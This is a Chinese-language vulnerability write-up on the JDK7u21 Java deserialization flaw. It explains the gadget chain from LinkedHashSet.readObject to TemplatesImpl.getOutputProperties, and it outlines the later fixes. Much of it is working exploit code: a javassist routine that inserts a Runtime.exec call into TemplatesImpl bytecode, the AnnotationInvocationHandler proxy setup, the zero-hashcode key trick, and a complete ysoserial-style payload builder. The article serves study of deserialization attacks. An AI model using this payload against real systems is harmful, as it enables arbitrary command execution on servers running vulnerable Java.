JDK7u21反序列化漏洞分析
字数 1306 2025-08-18 11:37:23

JDK7u21反序列化漏洞深入分析与利用

漏洞概述

JDK7u21反序列化漏洞是Java核心库中的一个高危漏洞,影响JDK7u21及更早版本。该漏洞允许攻击者通过精心构造的序列化数据在目标系统上执行任意命令,属于反序列化类型的安全漏洞。

前置知识

1. Java动态代码生成

漏洞利用中使用了javassist工具动态生成恶意字节码:

public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
    final TemplatesImpl templates = new TemplatesImpl();
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    
    // 在静态初始化块中插入恶意代码
    clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + 
        command.replaceAll("\"", "\\\"") + "\");");
    
    clazz.setName("ysoserial.Pwner" + System.nanoTime());
    final byte[] classBytes = clazz.toBytecode();
    
    // 注入恶意字节码到TemplatesImpl实例
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    
    return templates;
}

关键点:

  • 使用TemplatesImpl类作为恶意代码载体
  • 通过javassist动态修改类字节码
  • 在静态初始化块中插入命令执行代码
  • 通过反射设置_bytecodes等关键字段

2. Java动态代理机制

漏洞利用中使用了动态代理来拦截方法调用:

// 创建代理使用的handler
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
    .getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler)ctor.newInstance(Templates.class, map);

// 创建代理对象
Templates proxy = (Templates)Proxy.newProxyInstance(
    JDK7u21.class.getClassLoader(), 
    templates.getClass().getInterfaces(), 
    tempHandler);

关键点:

  • 使用AnnotationInvocationHandler作为调用处理器
  • 代理Templates接口的所有方法
  • 方法调用会被路由到invoke方法

漏洞利用链分析

完整的利用链如下:

LinkedHashSet.readObject()
  HashSet.readObject()
    HashMap.put()
      templates.equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              TemplatesImpl.getOutputProperties()
                (恶意字节码执行)

详细触发流程

  1. 反序列化入口LinkedHashSet.readObject()开始反序列化过程
  2. HashSet处理:调用父类HashSet.readObject()方法
  3. HashMap操作:将元素放入HashMap时触发put()操作
  4. Hash比较:在put()方法中会进行hash比较和equals比较
  5. 代理拦截:equals比较被动态代理拦截,转到AnnotationInvocationHandler.invoke()
  6. 方法调用equalsImpl()方法会反射调用目标对象的所有方法
  7. 触发执行:当调用到TemplatesImpl.getOutputProperties()时触发恶意字节码执行

关键绕过技术

1. HashCode绕过

漏洞利用需要满足以下条件才能触发equals调用:

e.hash == hash && ((k = e.key) == key || key.equals(k))

解决方案:

  1. 使用hashCode为0的特殊字符串"f5a5a608"作为key
  2. 精心构造AnnotationInvocationHandler使得proxy.hashCode() == templates.hashCode()
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

2. 动态代理机制利用

通过动态代理将方法调用重定向:

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    if (method.getName().equals("equals")) {
        return this.equalsImpl(proxy, args[0]);
    }
    // 其他方法处理...
}

equalsImpl方法会反射调用目标对象的所有方法,从而触发getOutputProperties()的执行。

完整PoC分析

public Object getObject(final String command) throws Exception {
    // 1. 生成包含恶意字节码的TemplatesImpl对象
    Object templates = Gadgets.createTemplatesImpl(command);
    
    // 2. 准备特殊hashCode的key
    String zeroHashCodeStr = "f5a5a608";
    
    // 3. 创建HashMap并放入特殊key
    HashMap map = new HashMap();
    map.put(zeroHashCodeStr, "foo");
    
    // 4. 创建动态代理handler
    Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
        .getDeclaredConstructors()[0];
    ctor.setAccessible(true);
    InvocationHandler tempHandler = (InvocationHandler)ctor.newInstance(Templates.class, map);
    
    // 5. 创建代理对象
    Templates proxy = (Templates)Proxy.newProxyInstance(
        JDK7u21.class.getClassLoader(), 
        templates.getClass().getInterfaces(), 
        tempHandler);
    
    // 6. 清理一些字段避免干扰
    Reflections.setFieldValue(templates, "_auxClasses", null);
    Reflections.setFieldValue(templates, "_class", null);
    
    // 7. 构造最终payload集合
    LinkedHashSet set = new LinkedHashSet();
    set.add(templates);  // 包含恶意字节码的对象
    set.add(proxy);      // 代理对象
    
    // 8. 关键步骤:修改map中的value为templates对象
    map.put(zeroHashCodeStr, templates);
    
    return set;
}

漏洞修复方案

后续Java版本中修复了此漏洞,主要措施包括:

  1. 修改AnnotationInvocationHandler的实现,防止被滥用
  2. 加强序列化过程的安全检查
  3. 对关键类的字段访问进行限制

学习总结

  1. 深入理解Java序列化机制:掌握反序列化过程中的关键方法调用链
  2. 动态代理的应用:了解动态代理在漏洞利用中的关键作用
  3. 反射的高级用法:学习如何通过反射修改关键字段值
  4. hashCode机制的绕过:理解如何构造特殊的hashCode条件
  5. Java安全模型:认识Java安全机制的局限性和绕过方法

参考资源

  1. 原始漏洞分析文章
  2. ysoserial项目源码
  3. Java反序列化漏洞详解

注:本文仅用于技术研究与学习,请勿用于非法用途。

JDK7u21反序列化漏洞深入分析与利用 漏洞概述 JDK7u21反序列化漏洞是Java核心库中的一个高危漏洞,影响JDK7u21及更早版本。该漏洞允许攻击者通过精心构造的序列化数据在目标系统上执行任意命令,属于反序列化类型的安全漏洞。 前置知识 1. Java动态代码生成 漏洞利用中使用了 javassist 工具动态生成恶意字节码: 关键点: 使用 TemplatesImpl 类作为恶意代码载体 通过 javassist 动态修改类字节码 在静态初始化块中插入命令执行代码 通过反射设置 _bytecodes 等关键字段 2. Java动态代理机制 漏洞利用中使用了动态代理来拦截方法调用: 关键点: 使用 AnnotationInvocationHandler 作为调用处理器 代理 Templates 接口的所有方法 方法调用会被路由到 invoke 方法 漏洞利用链分析 完整的利用链如下: 详细触发流程 反序列化入口 : LinkedHashSet.readObject() 开始反序列化过程 HashSet处理 :调用父类 HashSet.readObject() 方法 HashMap操作 :将元素放入HashMap时触发 put() 操作 Hash比较 :在 put() 方法中会进行hash比较和equals比较 代理拦截 :equals比较被动态代理拦截,转到 AnnotationInvocationHandler.invoke() 方法调用 : equalsImpl() 方法会反射调用目标对象的所有方法 触发执行 :当调用到 TemplatesImpl.getOutputProperties() 时触发恶意字节码执行 关键绕过技术 1. HashCode绕过 漏洞利用需要满足以下条件才能触发equals调用: 解决方案: 使用hashCode为0的特殊字符串"f5a5a608"作为key 精心构造 AnnotationInvocationHandler 使得 proxy.hashCode() == templates.hashCode() 2. 动态代理机制利用 通过动态代理将方法调用重定向: equalsImpl 方法会反射调用目标对象的所有方法,从而触发 getOutputProperties() 的执行。 完整PoC分析 漏洞修复方案 后续Java版本中修复了此漏洞,主要措施包括: 修改 AnnotationInvocationHandler 的实现,防止被滥用 加强序列化过程的安全检查 对关键类的字段访问进行限制 学习总结 深入理解Java序列化机制 :掌握反序列化过程中的关键方法调用链 动态代理的应用 :了解动态代理在漏洞利用中的关键作用 反射的高级用法 :学习如何通过反射修改关键字段值 hashCode机制的绕过 :理解如何构造特殊的hashCode条件 Java安全模型 :认识Java安全机制的局限性和绕过方法 参考资源 原始漏洞分析文章 ysoserial项目源码 Java反序列化漏洞详解 注:本文仅用于技术研究与学习,请勿用于非法用途。